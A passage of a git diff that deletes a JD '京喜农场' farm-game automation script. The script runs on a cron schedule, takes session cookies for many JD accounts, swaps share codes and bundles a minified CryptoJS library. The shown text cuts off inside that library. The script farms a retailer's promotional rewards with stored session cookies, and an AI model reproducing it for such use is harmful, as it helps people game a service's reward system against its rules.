e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_jxnc.js b/backUp/jd_jxnc.js deleted file mode 100644 index be1386f..0000000 --- a/backUp/jd_jxnc.js +++ /dev/null @@ -1,875 +0,0 @@ -/* -特别声明: -本脚本搬运自 https://github.com/whyour/hundun/blob/master/quanx/jx_nc.js -感谢 @whyour 大佬 - -无需京喜token,只需京东cookie即可. - -京喜农场:脚本更新地址 jd_jxnc.js -更新时间:2021-06-3 -活动入口:京喜APP我的-京喜农场 -东东农场活动链接:https://wqsh.jd.com/sns/201912/12/jxnc/detail.html?ptag=7155.9.32&smp=b47f4790d7b2a024e75279f55f6249b9&active=jdnc_1_chelizi1205_2 -已支持IOS,Node.js支持N个京东账号 -理论上脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -助力码shareCode请先手动运行脚本查看打印可看到 - -==========================Quantumultx========================= -[task_local] -0 9,12,18 * * * jd_jxnc.js, tag=京喜农场, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxnc.png, enabled=true -=========================Loon============================= -[Script] -cron "0 9,12,18 * * *" script-path=jd_jxnc.js,tag=京喜农场 - -=========================Surge============================ -京喜农场 = type=cron,cronexp="0 9,12,18 * * *",timeout=3600,script-path=jd_jxnc.js - -=========================小火箭=========================== -京喜农场 = type=cron,script-path=jd_jxnc.js, cronexpr="0 9,12,18 * * *", timeout=3600, enable=true -*/ - -const $ = new Env('京喜农场'); -let notify = ''; // nodejs 发送通知脚本 -let notifyLevel = $.isNode() ? process.env.JXNC_NOTIFY_LEVEL || 1 : 1; // 通知级别 0=只通知成熟;1=本次获得水滴>0;2=任务执行;3=任务执行+未种植种子; -let notifyBool = true; // 代码内部使用,控制是否通知 -let cookieArr = []; // 用户 cookie 数组 -let currentCookie = ''; // 当前用户 cookie -let tokenNull = {'farm_jstoken': '', 'phoneid': '', 'timestamp': ''}; // 内置一份空的 token -let tokenArr = []; // 用户 token 数组 -let currentToken = {}; // 当前用户 token -let shareCode = ''; // 内置助力码 -let jxncShareCodeArr = []; // 用户 助力码 数组 -let currentShareCode = []; // 当前用户 要助力的助力码 -const openUrl = `openjd://virtual?params=${encodeURIComponent('{ "category": "jump", "des": "m", "url": "https://wqsh.jd.com/sns/201912/12/jxnc/detail.html?ptag=7155.9.32&smp=b47f4790d7b2a024e75279f55f6249b9&active=jdnc_1_chelizi1205_2"}',)}`; // 打开京喜农场 -let subTitle = '', message = '', option = {'open-url': openUrl}; // 消息副标题,消息正文,消息扩展参数 -const JXNC_API_HOST = 'https://wq.jd.com/'; -let allMessage = ''; -$.detail = []; // 今日明细列表 -$.helpTask = null; -$.allTask = []; // 任务列表 -$.info = {}; // 用户信息 -$.answer = 3; -$.drip = 0; -$.appId = 10016; -let UA; - -!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { - var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = 